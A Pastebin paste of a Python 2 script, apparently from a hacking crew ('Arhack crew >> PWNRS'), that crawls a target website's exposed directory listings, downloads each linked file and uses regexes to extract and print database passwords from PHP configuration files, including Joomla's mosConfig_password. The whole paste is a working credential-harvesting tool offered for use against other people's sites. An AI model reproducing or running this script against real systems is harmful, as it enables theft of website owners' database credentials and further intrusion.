Advertisement
BaapJaan

BT.py

Oct 23rd, 2017
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.03 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import sys
  4. import os
  5. import re
  6. import subprocess
  7. import urllib
  8. import glob
  9. from platform import system
  10.  
  11. def banner():
  12. print '''
  13. ## #### ## ## ## ## ## ## ######## ######## #######
  14. ## ## ### ## ## ## ## ## ## ## ## ## ##
  15. ## ## #### ## ## ## ## ## ## ## ## ##
  16. ## ## ## ## ## ## ## ### ######## ## #######
  17. ## ## ## #### ## ## ## ## ## ## ## ##
  18. ## ## ## ### ## ## ## ## ### ## ## ## ## ##
  19. ######## #### ## ## ####### ## ## ### ######## ## ####### ver 0.1
  20. '''
  21.  
  22. if len(sys.argv) != 3:
  23. banner()
  24. print'''
  25. Usage: %s [URL...] [directory...]
  26.  
  27. Ex) %s http://www.test.com lnx1
  28. ''' % (sys.argv[0], sys.argv[0])
  29. sys.exit(1)
  30.  
  31. site = sys.argv[1]
  32. fout = sys.argv[2]
  33.  
  34. try:
  35. req = urllib.urlopen(site)
  36. read = req.read()
  37. if system() == 'Linux':
  38. f = open('/tmp/data.txt', 'w')
  39. f.write(read)
  40. f.close()
  41. if system() == 'Windows':
  42. f = open('data.txt', 'w')
  43. f.write(read)
  44. f.close()
  45.  
  46. i = 0
  47. if system() == 'Linux':
  48. banner()
  49. f = open('/tmp/data.txt', 'rU')
  50. for line in f:
  51. if line.startswith('<li><a') == True :
  52. m = re.search(r'(<a href=")(.+[^>])(">)', line)
  53. i += 1
  54. local_name = '%s/file%d.txt' % (fout, i)
  55. print 'Retrieving...\t\t', site + m.group(2)
  56. try: urllib.urlretrieve(site + m.group(2), local_name)
  57. except IOError:
  58. print '\n[%s] doesn\'t exist, create it first' % fout
  59. sys.exit()
  60. if line.startswith('<img') == True:
  61. m1 = re.search(r'(<a href=")(.+[^>])(">)', line)
  62. i += 1
  63. local_name = '%s/file%d.txt' % (fout, i)
  64. print 'Retrieving...\t\t', site + m1.group(2)
  65. try: urllib.urlretrieve(site + m1.group(2), local_name)
  66. except IOError:
  67. print '\n[%s] doesn\'t exist, create it first' % fout
  68. sys.exit()
  69. if line.startswith('<IMG') == True:
  70. m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line)
  71. i += 1
  72. local_name = '%s/file%d.txt' % (fout, i)
  73. print 'Retrieving...\t\t', site + m2.group(2)
  74. try: urllib.urlretrieve(site + m2.group(2), local_name)
  75. except IOError:
  76. print '\n[%s] doesn\'t exist, create it first' % fout
  77. sys.exit()
  78. f.close()
  79. if system() == 'Windows':
  80. banner()
  81. f = open('data.txt', 'rU')
  82. for line in f:
  83. if line.startswith('<li><a') == True :
  84. m = re.search(r'(<a href=")(.+[^>])(">)', line)
  85. i += 1
  86. local_name = '%s/file%d.txt' % (fout, i)
  87. print 'Retrieving...\t\t', site + m.group(2)
  88. try: urllib.urlretrieve(site + m.group(2), local_name)
  89. except IOError:
  90. print '\n[%s] doesn\'t exist, create it first' % fout
  91. sys.exit()
  92. if line.startswith('<img') == True:
  93. m1 = re.search(r'(<a href=")(.+[^>])(">)', line)
  94. i += 1
  95. local_name = '%s/file%d.txt' % (fout, i)
  96. print 'Retrieving...\t\t', site + m1.group(2)
  97. try: urllib.urlretrieve(site + m1.group(2), local_name)
  98. except IOError:
  99. print '\n[%s] doesn\'t exist, create it first' % fout
  100. sys.exit()
  101. if line.startswith('<IMG') == True:
  102. m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line)
  103. i += 1
  104. local_name = '%s/file%d.txt' % (fout, i)
  105. print 'Retrieving...\t\t', site + m2.group(2)
  106. try: urllib.urlretrieve(site + m2.group(2), local_name)
  107. except IOError:
  108. print '\n[%s] doesn\'t exist, create it first' % fout
  109. sys.exit()
  110. f.close()
  111. if system() == 'Linux':
  112. cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait()
  113. if system() == 'Windows':
  114. cleanup = subprocess.Popen('del C:\data.txt', shell=True).wait()
  115. print '\n', '-' * 100, '\n'
  116. if system() == 'Linux':
  117. for root, dirs, files in os.walk(fout):
  118. for fname in files:
  119. fullpath = os.path.join(root, fname)
  120. f = open(fullpath, 'r')
  121. for line in f:
  122. secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line)
  123. if secr is not None: print (secr.group(2))
  124. secr1 = re.search(r"(password = ')(.+[^>])(';)", line)
  125. if secr1 is not None: print (secr1.group(2))
  126. secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line)
  127. if secr2 is not None: print (secr2.group(3))
  128. secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line)
  129. if secr3 is not None: print (secr3.group(2))
  130. secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line)
  131. if secr4 is not None: print (secr4.group(2))
  132. secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line)
  133. if secr5 is not None: print (secr5.group(2))
  134. secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line)
  135. if secr6 is not None: print (secr6.group(2))
  136. secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line)
  137. if secr7 is not None: print (secr7.group(2))
  138. f.close()
  139. if system() == 'Windows':
  140. for infile in glob.glob( os.path.join(fout, '*.txt') ):
  141. f = open(infile, 'r')
  142. for line in f:
  143. secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line)
  144. if secr is not None: print (secr.group(2))
  145. secr1 = re.search(r"(password = ')(.+[^>])(';)", line)
  146. if secr1 is not None: print (secr1.group(2))
  147. secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line)
  148. if secr2 is not None: print (secr2.group(3))
  149. secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line)
  150. if secr3 is not None: print (secr3.group(2))
  151. secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line)
  152. if secr4 is not None: print (secr4.group(2))
  153. secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line)
  154. if secr5 is not None: print (secr5.group(2))
  155. secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line)
  156. if secr6 is not None: print (secr6.group(2))
  157. secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line)
  158. if secr7 is not None: print (secr7.group(2))
  159. f.close()
  160.  
  161. print '\nCreated by: linux.bt3 AKA lnx1\nArhack crew >> PWNRS'
  162. except (KeyboardInterrupt):
  163. print '\nThanks for using it ._^'
  164. print '>> http://arhack.net\n'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement